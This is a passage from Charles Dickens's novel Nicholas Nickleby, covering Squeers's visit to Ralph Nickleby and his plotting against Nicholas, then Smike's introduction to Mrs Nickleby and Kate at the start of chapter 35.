Mantalini. + +'You know it almost breaks my heart, even to hear you talk of such a +thing,' replied Madame Mantalini. + +'Can I live to be mistrusted?' cried her husband. 'Have I cut my +heart into a demd extraordinary number of little pieces, and given +them all away, one after another, to the same little engrossing +demnition captivater, and can I live to be suspected by her? +Demmit, no I can't.' + +'Ask Mr Nickleby whether the sum I have mentioned is not a proper +one,' reasoned Madame Mantalini. + +'I don't want any sum,' replied her disconsolate husband; 'I shall +require no demd allowance. I will be a body.' + +On this repetition of Mr Mantalini's fatal threat, Madame Mantalini +wrung her hands, and implored the interference of Ralph Nickleby; +and after a great quantity of tears and talking, and several +attempts on the part of Mr Mantalini to reach the door, preparatory +to straightway committing violence upon himself, that gentleman was +prevailed upon, with difficulty, to promise that he wouldn't be a +body. This great point attained, Madame Mantalini argued the +question of the allowance, and Mr Mantalini did the same, taking +occasion to show that he could live with uncommon satisfaction upon +bread and water, and go clad in rags, but that he could not support +existence with the additional burden of being mistrusted by the +object of his most devoted and disinterested affection. This +brought fresh tears into Madame Mantalini's eyes, which having just +begun to open to some few of the demerits of Mr Mantalini, were only +open a very little way, and could be easily closed again. The +result was, that without quite giving up the allowance question, +Madame Mantalini, postponed its further consideration; and Ralph +saw, clearly enough, that Mr Mantalini had gained a fresh lease of +his easy life, and that, for some time longer at all events, his +degradation and downfall were postponed. + +'But it will come soon enough,' thought Ralph; 'all love--bah! that +I should use the cant of boys and girls--is fleeting enough; though +that which has its sole root in the admiration of a whiskered face +like that of yonder baboon, perhaps lasts the longest, as it +originates in the greater blindness and is fed by vanity. Meantime +the fools bring grist to my mill, so let them live out their day, +and the longer it is, the better.' + +These agreeable reflections occurred to Ralph Nickleby, as sundry +small caresses and endearments, supposed to be unseen, were +exchanged between the objects of his thoughts. + +'If you have nothing more to say, my dear, to Mr Nickleby,' said +Madame Mantalini, 'we will take our leaves. I am sure we have +detained him much too long already.' + +Mr Mantalini answered, in the first instance, by tapping Madame +Mantalini several times on the nose, and then, by remarking in words +that he had nothing more to say. + +'Demmit! I have, though,' he added almost immediately, drawing Ralph +into a corner. 'Here's an affair about your friend Sir Mulberry. +Such a demd extraordinary out-of-the-way kind of thing as never was +--eh?' + +'What do you mean?' asked Ralph. + +'Don't you know, demmit?' asked Mr Mantalini. + +'I see by the paper that he was thrown from his cabriolet last +night, and severely injured, and that his life is in some danger,' +answered Ralph with great composure; 'but I see nothing +extraordinary in that--accidents are not miraculous events, when men +live hard, and drive after dinner.' + +'Whew!' cried Mr Mantalini in a long shrill whistle. 'Then don't +you know how it was?' + +'Not unless it was as I have just supposed,' replied Ralph, +shrugging his shoulders carelessly, as if to give his questioner to +understand that he had no curiosity upon the subject. + +'Demmit, you amaze me,' cried Mantalini. + +Ralph shrugged his shoulders again, as if it were no great feat to +amaze Mr Mantalini, and cast a wistful glance at the face of Newman +Noggs, which had several times appeared behind a couple of panes of +glass in the room door; it being a part of Newman's duty, when +unimportant people called, to make various feints of supposing that +the bell had rung for him to show them out: by way of a gentle hint +to such visitors that it was time to go. + +'Don't you know,' said Mr Mantalini, taking Ralph by the button, +'that it wasn't an accident at all, but a demd, furious, +manslaughtering attack made upon him by your nephew?' + +'What!' snarled Ralph, clenching his fists and turning a livid +white. + +'Demmit, Nickleby, you're as great a tiger as he is,' said +Mantalini, alarmed at these demonstrations. + +'Go on,' cried Ralph. 'Tell me what you mean. What is this story? +Who told you? Speak,' growled Ralph. 'Do you hear me?' + +''Gad, Nickleby,' said Mr Mantalini, retreating towards his wife, +'what a demneble fierce old evil genius you are! You're enough to +frighten the life and soul out of her little delicious wits--flying +all at once into such a blazing, ravaging, raging passion as never +was, demmit!' + +'Pshaw,' rejoined Ralph, forcing a smile. 'It is but manner.' + +'It is a demd uncomfortable, private-madhouse-sort of a manner,' +said Mr Mantalini, picking up his cane. + +Ralph affected to smile, and once more inquired from whom Mr +Mantalini had derived his information. + +'From Pyke; and a demd, fine, pleasant, gentlemanly dog it is,' +replied Mantalini. 'Demnition pleasant, and a tip-top sawyer.' + +'And what said he?' asked Ralph, knitting his brows. + +'That it happened this way--that your nephew met him at a +coffeehouse, fell upon him with the most demneble ferocity, followed +him to his cab, swore he would ride home with him, if he rode upon +the horse's back or hooked himself on to the horse's tail; smashed +his countenance, which is a demd fine countenance in its natural +state; frightened the horse, pitched out Sir Mulberry and himself, +and--' + +'And was killed?' interposed Ralph with gleaming eyes. 'Was he? Is +he dead?' + +Mantalini shook his head. + +'Ugh,' said Ralph, turning away. 'Then he has done nothing. Stay,' +he added, looking round again. 'He broke a leg or an arm, or put +his shoulder out, or fractured his collar-bone, or ground a rib or +two? His neck was saved for the halter, but he got some painful and +slow-healing injury for his trouble? Did he? You must have heard +that, at least.' + +'No,' rejoined Mantalini, shaking his head again. 'Unless he was +dashed into such little pieces that they blew away, he wasn't hurt, +for he went off as quiet and comfortable as--as--as demnition,' said +Mr Mantalini, rather at a loss for a simile. + +'And what,' said Ralph, hesitating a little, 'what was the cause of +quarrel?' + +'You are the demdest, knowing hand,' replied Mr Mantalini, in an +admiring tone, 'the cunningest, rummest, superlativest old fox--oh +dem!--to pretend now not to know that it was the little bright-eyed +niece--the softest, sweetest, prettiest--' + +'Alfred!' interposed Madame Mantalini. + +'She is always right,' rejoined Mr Mantalini soothingly, 'and when +she says it is time to go, it is time, and go she shall; and when +she walks along the streets with her own tulip, the women shall say, +with envy, she has got a demd fine husband; and the men shall say +with rapture, he has got a demd fine wife; and they shall both be +right and neither wrong, upon my life and soul--oh demmit!' + +With which remarks, and many more, no less intellectual and to the +purpose, Mr Mantalini kissed the fingers of his gloves to Ralph +Nickleby, and drawing his lady's arm through his, led her mincingly +away. + +'So, so,' muttered Ralph, dropping into his chair; 'this devil is +loose again, and thwarting me, as he was born to do, at every turn. +He told me once there should be a day of reckoning between us, +sooner or later. I'll make him a true prophet, for it shall surely +come.' + +'Are you at home?' asked Newman, suddenly popping in his head. + +'No,' replied Ralph, with equal abruptness. + +Newman withdrew his head, but thrust it in again. + +'You're quite sure you're not at home, are you?' said Newman. + +'What does the idiot mean?' cried Ralph, testily. + +'He has been waiting nearly ever since they first came in, and may +have heard your voice--that's all,' said Newman, rubbing his hands. + +'Who has?' demanded Ralph, wrought by the intelligence he had just +heard, and his clerk's provoking coolness, to an intense pitch of +irritation. + +The necessity of a reply was superseded by the unlooked-for entrance +of a third party--the individual in question--who, bringing his one +eye (for he had but one) to bear on Ralph Nickleby, made a great +many shambling bows, and sat himself down in an armchair, with his +hands on his knees, and his short black trousers drawn up so high in +the legs by the exertion of seating himself, that they scarcely +reached below the tops of his Wellington boots.' + +'Why, this IS a surprise!' said Ralph, bending his gaze upon the +visitor, and half smiling as he scrutinised him attentively; 'I +should know your face, Mr Squeers.' + +'Ah!' replied that worthy, 'and you'd have know'd it better, sir, if +it hadn't been for all that I've been a-going through. Just lift +that little boy off the tall stool in the back-office, and tell him +to come in here, will you, my man?' said Squeers, addressing himself +to Newman. 'Oh, he's lifted his-self off. My son, sir, little +Wackford. What do you think of him, sir, for a specimen of the +Dotheboys Hall feeding? Ain't he fit to bust out of his clothes, +and start the seams, and make the very buttons fly off with his +fatness? Here's flesh!' cried Squeers, turning the boy about, and +indenting the plumpest parts of his figure with divers pokes and +punches, to the great discomposure of his son and heir. 'Here's +firmness, here's solidness! Why you can hardly get up enough of him +between your finger and thumb to pinch him anywheres.' + +In however good condition Master Squeers might have been, he +certainly did not present this remarkable compactness of person, for +on his father's closing his finger and thumb in illustration of his +remark, he uttered a sharp cry, and rubbed the place in the most +natural manner possible. + +'Well,' remarked Squeers, a little disconcerted, 'I had him there; +but that's because we breakfasted early this morning, and he hasn't +had his lunch yet. Why you couldn't shut a bit of him in a door, +when he's had his dinner. Look at them tears, sir,' said Squeers, +with a triumphant air, as Master Wackford wiped his eyes with the +cuff of his jacket, 'there's oiliness!' + +'He looks well, indeed,' returned Ralph, who, for some purposes of +his own, seemed desirous to conciliate the schoolmaster. 'But how +is Mrs Squeers, and how are you?' + +'Mrs Squeers, sir,' replied the proprietor of Dotheboys, 'is as she +always is--a mother to them lads, and a blessing, and a comfort, and +a joy to all them as knows her. One of our boys--gorging his-self +with vittles, and then turning in; that's their way--got a abscess +on him last week. To see how she operated upon him with a pen-knife! +Oh Lor!' said Squeers, heaving a sigh, and nodding his head a great +many times, 'what a member of society that woman is!' + +Mr Squeers indulged in a retrospective look, for some quarter of a +minute, as if this allusion to his lady's excellences had naturally +led his mind to the peaceful village of Dotheboys near Greta Bridge +in Yorkshire; and then looked at Ralph, as if waiting for him to say +something. + +'Have you quite recovered that scoundrel's attack?' asked Ralph. + +'I've only just done it, if I've done it now,' replied Squeers. 'I +was one blessed bruise, sir,' said Squeers, touching first the roots +of his hair, and then the toes of his boots, 'from HERE to THERE. +Vinegar and brown paper, vinegar and brown paper, from morning to +night. I suppose there was a matter of half a ream of brown paper +stuck upon me, from first to last. As I laid all of a heap in our +kitchen, plastered all over, you might have thought I was a large +brown-paper parcel, chock full of nothing but groans. Did I groan +loud, Wackford, or did I groan soft?' asked Mr Squeers, appealing to +his son. + +'Loud,' replied Wackford. + +'Was the boys sorry to see me in such a dreadful condition, +Wackford, or was they glad?' asked Mr Squeers, in a sentimental +manner. + +'Gl--' + +'Eh?' cried Squeers, turning sharp round. + +'Sorry,' rejoined his son. + +'Oh!' said Squeers, catching him a smart box on the ear. 'Then take +your hands out of your pockets, and don't stammer when you're asked +a question. Hold your noise, sir, in a gentleman's office, or I'll +run away from my family and never come back any more; and then what +would become of all them precious and forlorn lads as would be let +loose on the world, without their best friend at their elbers?' + +'Were you obliged to have medical attendance?' inquired Ralph. + +'Ay, was I,' rejoined Squeers, 'and a precious bill the medical +attendant brought in too; but I paid it though.' + +Ralph elevated his eyebrows in a manner which might be expressive of +either sympathy or astonishment--just as the beholder was pleased to +take it. + +'Yes, I paid it, every farthing,' replied Squeers, who seemed to +know the man he had to deal with, too well to suppose that any +blinking of the question would induce him to subscribe towards the +expenses; 'I wasn't out of pocket by it after all, either.' + +'No!' said Ralph. + +'Not a halfpenny,' replied Squeers. 'The fact is, we have only one +extra with our boys, and that is for doctors when required--and not +then, unless we're sure of our customers. Do you see?' + +'I understand,' said Ralph. + +'Very good,' rejoined Squeers. 'Then, after my bill was run up, we +picked out five little boys (sons of small tradesmen, as was sure +pay) that had never had the scarlet fever, and we sent one to a +cottage where they'd got it, and he took it, and then we put the +four others to sleep with him, and THEY took it, and then the doctor +came and attended 'em once all round, and we divided my total among +'em, and added it on to their little bills, and the parents paid it. +Ha! ha! ha!' + +'And a good plan too,' said Ralph, eyeing the schoolmaster stealthily. + +'I believe you,' rejoined Squeers. 'We always do it. Why, when Mrs +Squeers was brought to bed with little Wackford here, we ran the +hooping-cough through half-a-dozen boys, and charged her expenses +among 'em, monthly nurse included. Ha! ha! ha!' + +Ralph never laughed, but on this occasion he produced the nearest +approach to it that he could, and waiting until Mr Squeers had +enjoyed the professional joke to his heart's content, inquired what +had brought him to town. + +'Some bothering law business,' replied Squeers, scratching his head, +'connected with an action, for what they call neglect of a boy. I +don't know what they would have. He had as good grazing, that boy +had, as there is about us.' + +Ralph looked as if he did not quite understand the observation. + +'Grazing,' said Squeers, raising his voice, under the impression +that as Ralph failed to comprehend him, he must be deaf. 'When a +boy gets weak and ill and don't relish his meals, we give him a +change of diet--turn him out, for an hour or so every day, into a +neighbour's turnip field, or sometimes, if it's a delicate case, a +turnip field and a piece of carrots alternately, and let him eat as +many as he likes. There an't better land in the country than this +perwerse lad grazed on, and yet he goes and catches cold and +indigestion and what not, and then his friends brings a lawsuit +against ME! Now, you'd hardly suppose,' added Squeers, moving in +his chair with the impatience of an ill-used man, 'that people's +ingratitude would carry them quite as far as that; would you?' + +'A hard case, indeed,' observed Ralph. + +'You don't say more than the truth when you say that,' replied +Squeers. 'I don't suppose there's a man going, as possesses the +fondness for youth that I do. There's youth to the amount of eight +hundred pound a year at Dotheboys Hall at this present time. I'd +take sixteen hundred pound worth if I could get 'em, and be as fond +of every individual twenty pound among 'em as nothing should equal +it!' + +'Are you stopping at your old quarters?' asked Ralph. + +'Yes, we are at the Saracen,' replied Squeers, 'and as it don't want +very long to the end of the half-year, we shall continney to stop +there till I've collected the money, and some new boys too, I hope. +I've brought little Wackford up, on purpose to show to parents and +guardians. I shall put him in the advertisement, this time. Look +at that boy--himself a pupil. Why he's a miracle of high feeding, +that boy is!' + +'I should like to have a word with you,' said Ralph, who had both +spoken and listened mechanically for some time, and seemed to have +been thinking. + +'As many words as you like, sir,' rejoined Squeers. 'Wackford, you +go and play in the back office, and don't move about too much or +you'll get thin, and that won't do. You haven't got such a thing as +twopence, Mr Nickleby, have you?' said Squeers, rattling a bunch of +keys in his coat pocket, and muttering something about its being all +silver. + +'I--think I have,' said Ralph, very slowly, and producing, after +much rummaging in an old drawer, a penny, a halfpenny, and two +farthings. + +'Thankee,' said Squeers, bestowing it upon his son. 'Here! You go +and buy a tart--Mr Nickleby's man will show you where--and mind you +buy a rich one. Pastry,' added Squeers, closing the door on Master +Wackford, 'makes his flesh shine a good deal, and parents thinks +that a healthy sign.' + +With this explanation, and a peculiarly knowing look to eke it out, +Mr Squeers moved his chair so as to bring himself opposite to Ralph +Nickleby at no great distance off; and having planted it to his +entire satisfaction, sat down. + +'Attend to me,' said Ralph, bending forward a little. + +Squeers nodded. + +'I am not to suppose,' said Ralph, 'that you are dolt enough to +forgive or forget, very readily, the violence that was committed +upon you, or the exposure which accompanied it?' + +'Devil a bit,' replied Squeers, tartly. + +'Or to lose an opportunity of repaying it with interest, if you +could get one?' said Ralph. + +'Show me one, and try,' rejoined Squeers. + +'Some such object it was, that induced you to call on me?' said +Ralph, raising his eyes to the schoolmaster's face. + +'N-n-no, I don't know that,' replied Squeers. 'I thought that if it +was in your power to make me, besides the trifle of money you sent, +any compensation--' + +'Ah!' cried Ralph, interrupting him. 'You needn't go on.' + +After a long pause, during which Ralph appeared absorbed in +contemplation, he again broke silence by asking: + +'Who is this boy that he took with him?' + +Squeers stated his name. + +'Was he young or old, healthy or sickly, tractable or rebellious? +Speak out, man,' retorted Ralph. + +'Why, he wasn't young,' answered Squeers; 'that is, not young for a +boy, you know.' + +'That is, he was not a boy at all, I suppose?' interrupted Ralph. + +'Well,' returned Squeers, briskly, as if he felt relieved by the +suggestion, 'he might have been nigh twenty. He wouldn't seem so +old, though, to them as didn't know him, for he was a little wanting +here,' touching his forehead; 'nobody at home, you know, if you +knocked ever so often.' + +'And you DID knock pretty often, I dare say?' muttered Ralph. + +'Pretty well,' returned Squeers with a grin. + +'When you wrote to acknowledge the receipt of this trifle of money +as you call it,' said Ralph, 'you told me his friends had deserted +him long ago, and that you had not the faintest clue or trace to +tell you who he was. Is that the truth?' + +'It is, worse luck!' replied Squeers, becoming more and more easy +and familiar in his manner, as Ralph pursued his inquiries with the +less reserve. 'It's fourteen years ago, by the entry in my book, +since a strange man brought him to my place, one autumn night, and +left him there; paying five pound five, for his first quarter in +advance. He might have been five or six year old at that time--not +more.' + +'What more do you know about him?' demanded Ralph. + +'Devilish little, I'm sorry to say,' replied Squeers. 'The money +was paid for some six or eight year, and then it stopped. He had +given an address in London, had this chap; but when it came to the +point, of course nobody knowed anything about him. So I kept the +lad out of--out of--' + +'Charity?' suggested Ralph drily. + +'Charity, to be sure,' returned Squeers, rubbing his knees, 'and +when he begins to be useful in a certain sort of way, this young +scoundrel of a Nickleby comes and carries him off. But the most +vexatious and aggeravating part of the whole affair is,' said +Squeers, dropping his voice, and drawing his chair still closer to +Ralph, 'that some questions have been asked about him at last--not +of me, but, in a roundabout kind of way, of people in our village. +So, that just when I might have had all arrears paid up, perhaps, +and perhaps--who knows? such things have happened in our business +before--a present besides for putting him out to a farmer, or +sending him to sea, so that he might never turn up to disgrace his +parents, supposing him to be a natural boy, as many of our boys are +--damme, if that villain of a Nickleby don't collar him in open day, +and commit as good as highway robbery upon my pocket.' + +'We will both cry quits with him before long,' said Ralph, laying +his hand on the arm of the Yorkshire schoolmaster. + +'Quits!' echoed Squeers. 'Ah! and I should like to leave a small +balance in his favour, to be settled when he can. I only wish Mrs +Squeers could catch hold of him. Bless her heart! She'd murder +him, Mr Nickleby--she would, as soon as eat her dinner.' + +'We will talk of this again,' said Ralph. 'I must have time to +think of it. To wound him through his own affections and fancies--. +If I could strike him through this boy--' + +'Strike him how you like, sir,' interrupted Squeers, 'only hit him +hard enough, that's all--and with that, I'll say good-morning. +Here!--just chuck that little boy's hat off that corner peg, and +lift him off the stool will you?' + +Bawling these requests to Newman Noggs, Mr Squeers betook himself to +the little back-office, and fitted on his child's hat with parental +anxiety, while Newman, with his pen behind his ear, sat, stiff and +immovable, on his stool, regarding the father and son by turns with +a broad stare. + +'He's a fine boy, an't he?' said Squeers, throwing his head a little +on one side, and falling back to the desk, the better to estimate +the proportions of little Wackford. + +'Very,' said Newman. + +'Pretty well swelled out, an't he?' pursued Squeers. 'He has the +fatness of twenty boys, he has.' + +'Ah!' replied Newman, suddenly thrusting his face into that of +Squeers, 'he has;--the fatness of twenty!--more! He's got it all. +God help that others. Ha! ha! Oh Lord!' + +Having uttered these fragmentary observations, Newman dropped upon +his desk and began to write with most marvellous rapidity. + +'Why, what does the man mean?' cried Squeers, colouring. 'Is he +drunk?' + +Newman made no reply. + +'Is he mad?' said Squeers. + +But, still Newman betrayed no consciousness of any presence save his +own; so, Mr Squeers comforted himself by saying that he was both +drunk AND mad; and, with this parting observation, he led his +hopeful son away. + +In exact proportion as Ralph Nickleby became conscious of a +struggling and lingering regard for Kate, had his detestation of +Nicholas augmented. It might be, that to atone for the weakness of +inclining to any one person, he held it necessary to hate some other +more intensely than before; but such had been the course of his +feelings. And now, to be defied and spurned, to be held up to her +in the worst and most repulsive colours, to know that she was taught +to hate and despise him: to feel that there was infection in his +touch, and taint in his companionship--to know all this, and to know +that the mover of it all was that same boyish poor relation who had +twitted him in their very first interview, and openly bearded and +braved him since, wrought his quiet and stealthy malignity to such a +pitch, that there was scarcely anything he would not have hazarded +to gratify it, if he could have seen his way to some immediate +retaliation. + +But, fortunately for Nicholas, Ralph Nickleby did not; and although +he cast about all that day, and kept a corner of his brain working +on the one anxious subject through all the round of schemes and +business that came with it, night found him at last, still harping +on the same theme, and still pursuing the same unprofitable +reflections. + +'When my brother was such as he,' said Ralph, 'the first comparisons +were drawn between us--always in my disfavour. HE was open, +liberal, gallant, gay; I a crafty hunks of cold and stagnant blood, +with no passion but love of saving, and no spirit beyond a thirst +for gain. I recollected it well when I first saw this whipster; but +I remember it better now.' + +He had been occupied in tearing Nicholas's letter into atoms; and as +he spoke, he scattered it in a tiny shower about him. + +'Recollections like these,' pursued Ralph, with a bitter smile, +'flock upon me--when I resign myself to them--in crowds, and from +countless quarters. As a portion of the world affect to despise the +power of money, I must try and show them what it is.' + +And being, by this time, in a pleasant frame of mind for slumber, +Ralph Nickleby went to bed. + + + +CHAPTER 35 + +Smike becomes known to Mrs Nickleby and Kate. Nicholas also meets +with new Acquaintances. Brighter Days seem to dawn upon the Family + + +Having established his mother and sister in the apartments of the +kind-hearted miniature painter, and ascertained that Sir Mulberry +Hawk was in no danger of losing his life, Nicholas turned his +thoughts to poor Smike, who, after breakfasting with Newman Noggs, +had remained, in a disconsolate state, at that worthy creature's +lodgings, waiting, with much anxiety, for further intelligence of +his protector. + +'As he will be one of our own little household, wherever we live, or +whatever fortune is in reserve for us,' thought Nicholas, 'I must +present the poor fellow in due form. They will be kind to him for +his own sake, and if not (on that account solely) to the full extent +I could wish, they will stretch a point, I am sure, for mine.' + +Nicholas said 'they', but his misgivings were confined to one +person. He was sure of Kate, but he knew his mother's +peculiarities, and was not quite so certain that Smike would find +favour in the eyes of Mrs Nickleby. + +'However,' thought Nicholas as he departed on his benevolent errand; +'she cannot fail to become attached to him, when she knows what a +devoted creature he is, and as she must quickly make the discovery, +his probation will be a short one.' + +'I was afraid,' said Smike, overjoyed to see his friend again, 'that +you had fallen into some fresh trouble; the time seemed so long, at +last, that I almost feared you were lost.' + +'Lost!' replied Nicholas gaily. 'You will not be rid of me so +easily, I promise you. I shall rise to the surface many thousand +times yet, and the harder the thrust that pushes me down, the more +quickly I shall rebound, Smike. But come; my errand here is to take +you home.' + +'Home!' faltered Smike, drawing timidly back. + +'Ay,' rejoined Nicholas, taking his arm. 'Why not?' + +'I had such hopes once,' said Smike; 'day and night, day and night, +for many years. I longed for home till I was weary, and pined away +with grief, but now--' + +'And what now?' asked Nicholas, looking kindly in his face. 'What +now, old friend?' + +'I could not part from you to go to any home on earth,' replied +Smike, pressing his hand; 'except one, except one. I shall never be +an old man; and if your hand placed me in the grave, and I could +think, before I died, that you would come and look upon it sometimes +with one of your kind smiles, and in the summer weather, when +everything was alive--not dead like me--I could go to that home +almost without a tear.' + +'Why do you talk thus, poor boy, if your life is a happy one with +me?' said Nicholas. + +'Because I should change; not those about me. And if they forgot +me, I should never know it,' replied Smike. 'In the churchyard we +are all alike, but here there are none like me. I am a poor +creature, but I know that.' + +'You are a foolish, silly creature,' said Nicholas cheerfully. 'If +that is what you mean, I grant you that. Why, here's a dismal face +for ladies' company!--my pretty sister too, whom you have so often +asked me about. Is this your Yorkshire gallantry? For shame! for +shame!' + +Smike brightened up and smiled. + +'When I talk of home,' pursued Nicholas, 'I talk of mine--which is +yours of course. If it were defined by any particular four walls +and a roof, God knows I should be sufficiently puzzled to say +whereabouts it lay; but that is not what I mean. When I speak of +home, I speak of the place where--in default of a better--those I +love are gathered together; and if that place were a gypsy's tent, +or a barn, I should call it by the same good name notwithstanding. +And now, for what is my present home, which, however alarming your +expectations may be, will neither terrify you by its extent nor its +magnificence!' + +So saying, Nicholas took his companion by the arm, and saying a +great deal more to the same purpose, and pointing out various things +to amuse and interest him as they went along, led the way to Miss La +Creevy's house. + +'And this, Kate,' said Nicholas, entering the room where his sister +sat alone, 'is the faithful friend and affectionate fellow-traveller +whom I prepared you to receive.' + +Poor Smike was bashful, and awkward, and frightened enough, at +first, but Kate advanced towards him so kindly, and said, in such a +sweet voice, how anxious she had been to see him after all her +brother had told her, and how much she had to thank him for having +comforted Nicholas so greatly in their very trying reverses, that he +began to be very doubtful whether he should shed tears or not, and +became still more flurried. However, he managed to say, in a broken +voice, that Nicholas was his only friend, and that he would lay down +his life to help him; and Kate, although she was so kind and +considerate, seemed to be so wholly unconscious of his distress and +embarrassment, that he recovered almost immediately and felt quite +at home. + +Then, Miss La Creevy came in; and to her Smike had to be presented +also. And Miss La Creevy was very kind too, and wonderfully +talkative: not to Smike, for that would have made him uneasy at +first, but to Nicholas and his sister. Then, after a time, she +would speak to Smike himself now and then, asking him whether he was +a judge of likenesses, and whether he thought that picture in the +corner was like herself, and whether he didn't think it would have +looked better if she had made herself ten years younger, and whether +he didn't think, as a matter of general observation, that young +ladies looked better not only in pictures, but out of them too, than +old ones; with many more small jokes and facetious remarks, which +were delivered with such good-humour and merriment, that Smike +thought, within himself, she was the nicest lady he had ever seen; +even nicer than Mrs Grudden, of Mr Vincent Crummles's theatre; and +she was a nice lady too, and talked, perhaps more, but certainly +louder, than Miss La Creevy. + +At length the door opened again, and a lady in mourning came in; and +Nicholas kissing the lady in mourning affectionately, and calling +her his mother, led her towards the chair from which Smike had risen +when she entered the room. + +'You are always kind-hearted, and anxious to help the oppressed, my +dear mother,' said Nicholas, 'so you will be favourably disposed +towards him, I know.' + +'I am sure, my dear Nicholas,' replied Mrs Nickleby, looking very +hard at her new friend, and bending to him with something more of +majesty than the occasion seemed to require: 'I am sure any friend +of yours has, as indeed he naturally ought to have, and must have, +of course, you know, a great claim upon me, and of course, it is a +very great pleasure to me to be introduced to anybody you take an +interest in. There can he no doubt about that; none at all; not the +least in the world,' said Mrs Nickleby. 'At the same time I must +say, Nicholas, my dear, as I used to say to your poor dear papa, +when he WOULD bring gentlemen home to dinner, and there was nothing +in the house, that if he had come the day before yesterday--no, I +don't mean the day before yesterday now; I should have said, +perhaps, the year before last--we should have been better able to +entertain him.' + +With which remarks, Mrs Nickleby turned to her daughter, and +inquired, in an audible whisper, whether the gentleman was going to +stop all night. + +'Because, if he is, Kate, my dear,' said Mrs Nickleby, 'I don't see +that it's possible for him to sleep anywhere, and that's the truth.' + +Kate stepped gracefully forward, and without any show of annoyance +or irritation, breathed a few words into her mother's ear. + +'La, Kate, my dear,' said Mrs Nickleby, shrinking back, 'how you do +tickle one! Of course, I understand THAT, my love, without your +telling me; and I said the same to Nicholas, and I AM very much +pleased. You didn't tell me, Nicholas, my dear,' added Mrs +Nickleby, turning round with an air of less reserve than she had +before assumed, 'what your friend's name is.' + +'His name, mother,' replied Nicholas, 'is Smike.' + +The effect of this communication was by no means anticipated; but +the name was no sooner pronounced, than Mrs Nickleby dropped upon a +chair, and burst into a fit of crying. + +'What is the matter?' exclaimed Nicholas, running to support her. + +'It's so like Pyke,' cried Mrs Nickleby; 'so exactly like Pyke. Oh! +don't speak to me--I shall be better presently.' + +And after exhibiting every symptom of slow suffocation in all its +stages, and drinking about a tea-spoonful of water from a full +tumbler, and spilling the remainder, Mrs Nickleby WAS better, and +remarked, with a feeble smile, that she was very foolish, she knew. + +'It's a weakness in our family,' said Mrs Nickleby, 'so, of course, +I can't be blamed for it. Your grandmama, Kate, was exactly the +same--precisely. The least excitement, the slightest surprise--she +fainted away directly. I have heard her say, often and often, that +when she was a young lady, and before she was married, she was +turning a corner into Oxford Street one day, when she ran against +her own hairdresser, who, it seems, was escaping from a bear;--the +mere suddenness of the encounter made her faint away directly. +Wait, though,' added Mrs Nickleby, pausing to consider. 'Let me be +sure I'm right. Was it her hairdresser who had escaped from a bear, +or was it a bear who had escaped from her hairdresser's? I declare +I can't remember just now, but the hairdresser was a very handsome +man, I know, and quite a gentleman in his manners; so that it has +nothing to do with the point of the story.' + +Mrs Nickleby having fallen imperceptibly into one of her +retrospective moods, improved in temper from that moment, and +glided, by an easy change of the conversation occasionally, into +various other anecdotes, no less remarkable for their strict +application to the subject in hand. + +'Mr Smike is from Yorkshire, Nicholas, my dear?' said Mrs Nickleby, +after dinner, and when she had been silent for some time. + +'Certainly, mother,' replied Nicholas. 'I see you have not +forgotten his melancholy history.' + +'O dear no,' cried Mrs Nickleby. 'Ah! melancholy, indeed. You +don't happen, Mr Smike, ever to have dined with the Grimbles of +Grimble Hall, somewhere in the North Riding, do you?' said the good +lady, addressing herself to him. 'A very proud man, Sir Thomas +Grimble, with six grown-up and most lovely daughters, and the finest +park in the county.' + +'My dear mother,' reasoned Nicholas, 'do you suppose that the +unfortunate outcast of a Yorkshire school was likely to receive many +cards of invitation from the nobility and gentry in the +neighbourhood?' + +'Really, my dear, I don't know why it should be so very +extraordinary,' said Mrs Nickleby. 'I know that when I was at +school, I always went at least twice every half-year to the +Hawkinses at Taunton Vale, and they are much richer than the +Grimbles, and connected with them in marriage; so you see it's not +so very unlikely, after all.' + +Having put down Nicholas in this triumphant manner, Mrs Nickleby was +suddenly seized with a forgetfulness of Smike's real name, and an +irresistible tendency to call him Mr Slammons; which circumstance +she attributed to the remarkable similarity of the two names in +point of sound both beginning with an S, and moreover being spelt +with an M. But whatever doubt there might be on this point, there +was none as to his being a most excellent listener; which +circumstance had considerable influence in placing them on the very +best terms, and inducing Mrs Nickleby to express the highest opinion +of his general deportment and disposition. + +Thus, the little circle remained, on the most amicable and agreeable +footing, until the Monday morning, when Nicholas withdrew himself +from it for a short time, seriously to reflect upon the state of his +affairs, and to determine, if he could, upon some course of life, +which would enable him to support those who were so entirely +dependent upon his exertions. + +Mr Crummles occurred to him more than once; but although Kate was +acquainted with the whole history of his connection with that +gentleman, his mother was not; and he foresaw a thousand fretful +objections, on her part, to his seeking a livelihood upon the stage. +There were graver reasons, too, against his returning to that mode +of life. Independently of those arising out of its spare and +precarious earnings, and his own internal conviction that he could +never hope to aspire to any great distinction, even as a provincial +actor, how could he carry his sister from town to town, and place to +place, and debar her from any other associates than those with whom +he would be compelled, almost without distinction, to mingle? 'It +won't do,' said Nicholas, shaking his head; 'I must try something +else.' + +It was much easier to make this resolution than to carry it into +effect. With no greater experience of the world than he had +acquired for himself in his short trials; with a sufficient share of +headlong rashness and precipitation (qualities not altogether +unnatural at his time of life); with a very slender stock of money, +and a still more scanty stock of friends; what could he do? 'Egad!' +said Nicholas, 'I'll try that Register Office again.' + +He smiled at himself as he walked away with a quick step; for, an +instant before, he had been internally blaming his own +precipitation. He did not laugh himself out of the intention, +however, for on he went: picturing to himself, as he approached the +place, all kinds of splendid possibilities, and impossibilities too, +for that matter, and thinking himself, perhaps with good reason, +very fortunate to be endowed with so buoyant and sanguine a +temperament. + +The office looked just the same as when he had left it last, and, +indeed, with one or two exceptions, there seemed to be the very same +placards in the window that he had seen before. There were the same +unimpeachable masters and mistresses in want of virtuous servants, +and the same virtuous servants in want of unimpeachable masters and +mistresses, and the same magnificent estates for the investment of +capital, and the same enormous quantities of capital to be invested +in estates, and, in short, the same opportunities of all sorts for +people who wanted to make their fortunes. And a most extraordinary +proof it was of the national prosperity, that people had not been +found to avail themselves of such advantages long ago. + +As Nicholas stopped to look in at the window, an old gentleman +happened to stop too; and Nicholas, carrying his eye along the +window-panes from left to right in search of some capital-text +placard which should be applicable to his own case, caught sight of +this old gentleman's figure, and instinctively withdrew his eyes +from the window, to observe the same more closely. + +He was a sturdy old fellow in a broad-skirted blue coat, made pretty +large, to fit easily, and with no particular waist; his bulky legs +clothed in drab breeches and high gaiters, and his head protected by +a low-crowned broad-brimmed white hat, such as a wealthy grazier +might wear. He wore his coat buttoned; and his dimpled double chin +rested in the folds of a white neckerchief--not one of your stiff- +starched apoplectic cravats, but a good, easy, old-fashioned white +neckcloth that a man might go to bed in and be none the worse for. +But what principally attracted the attention of Nicholas was the old +gentleman's 